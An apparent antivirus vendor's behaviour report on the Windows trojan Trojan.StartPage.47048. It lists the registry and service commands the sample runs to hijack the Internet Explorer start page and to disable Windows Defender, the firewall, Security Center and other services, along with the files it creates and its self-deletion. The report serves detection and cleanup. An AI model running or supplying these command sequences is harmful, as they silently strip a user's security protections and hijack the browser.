Trojan.StartPage.47048

Technical Information

Malicious functions:

To complicate detection of its presence in the operating system,

forces the system hide from view:

file extensions

Executes the following:

<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{59031a47-3f72-44a7-89c5-5595fe6b30ee}" /t REG_DWORD /d 0
<SYSTEM32>\sc.exe config DPS start= DISABLED
<SYSTEM32>\powercfg.exe -h off
<SYSTEM32>\chkntfs.exe /t:2
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Internet Explorer\Main" /f /v "Start Page" /t REG_SZ /d "http://www.23##.com/?78##"
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "Start Page" /t REG_SZ /d "http://www.23##.com/?78##"
<SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /f /v "{59031a47-3f72-44a7-89c5-5595fe6b30ee}" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe delete "HKLM\SYSTEM\CurrentControlSet\services\ehRecvr" /f
<SYSTEM32>\sc.exe config MpsSvc start= DISABLED
<SYSTEM32>\sc.exe config WinDefend start= DISABLED
<SYSTEM32>\rundll32.exe setupapi,InstallHinfSection DefaultInstall 132 %WINDIR%\inf\UpPck.inf
<SYSTEM32>\reg.exe delete "HKLM\SYSTEM\CurrentControlSet\services\Mcx2Svc" /f
<SYSTEM32>\reg.exe delete "HKLM\SYSTEM\CurrentControlSet\services\ehSched" /f
<SYSTEM32>\sc.exe config WMPNetworkSvc start= DISABLED
<SYSTEM32>\sc.exe config Mcx2svc start= DISABLED
<SYSTEM32>\sc.exe config iphlpsvc start= DISABLED
<SYSTEM32>\sc.exe config FDResPub start= DISABLED
<SYSTEM32>\sc.exe config werSvc start= DISABLED
<SYSTEM32>\sc.exe config wscsvc start= DISABLED
<SYSTEM32>\sc.exe config SessionEnv start= DISABLED
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\nvata" /f /v "DisableRemovable" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer" /f /v "link" /t REG_BINARY /d 00000000
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /f /v "link" /t REG_BINARY /d 00000000
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\WindowsMediaPlayer" /f /v "GroupPrivacyAcceptance" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /f /v "HideSCAHealth" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /f /v "Start_ShowRun" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations" /v ModRiskFileTypes /t REG_SZ /d .exe /f
<SYSTEM32>\ping.exe 127.0.0.1 -n 3
<SYSTEM32>\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v "Runnew"
<SYSTEM32>\cmd.exe /c <SYSTEM32>\RUNBAT.bat
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Control\Session Manager\Memory Management\PrefetchParameters" /f /v "EnablePrefetcher" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /f /v "EnablePrefetcher" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows\AppCompat" /f /v "DisablePCA" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\CommandBar" /f /v "CommandBarEnabled" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser" /f /v "ITBar7Position" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "IE8TourShown" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing" /f /v "WarnOnClose" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing" /f /v "PopupsUseNewWindow" /t REG_DWORD /d 2
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\LinksBar" /f /v "Enabled" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "IE8RunOncePerInstallCompleted" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /f /v "HideFileExt" /t REG_DWORD /d 0
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\services\WSearch" /f /v ""Start"" /t REG_DWORD /d 4
<SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\services\WSearch" /f /v ""Start"" /t REG_DWORD /d 4
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "IE8RunOnceLastShown_TIMESTAMP" /t REG_BINARY /d 105bddf161dfcd01
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "IE8RunOnceLastShown" /t REG_DWORD /d 1
<SYSTEM32>\reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /f /v "HideFileExt" /t REG_DWORD /d 0

Sets a new unauthorized home page for Windows Internet Explorer.

Modifies file system :

Creates the following files:

%HOMEPATH%\Favorites\╓╨╣·╫ю║├╡─═°╓╖╒╛.url
<SYSTEM32>\RUNBAT.bat
%TEMP%\aut1.tmp

Deletes the following files:

%TEMP%\aut1.tmp

Deletes itself.

Miscellaneous:

Searches for the following windows:

ClassName: 'Shell_TrayWnd' WindowName: ''

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial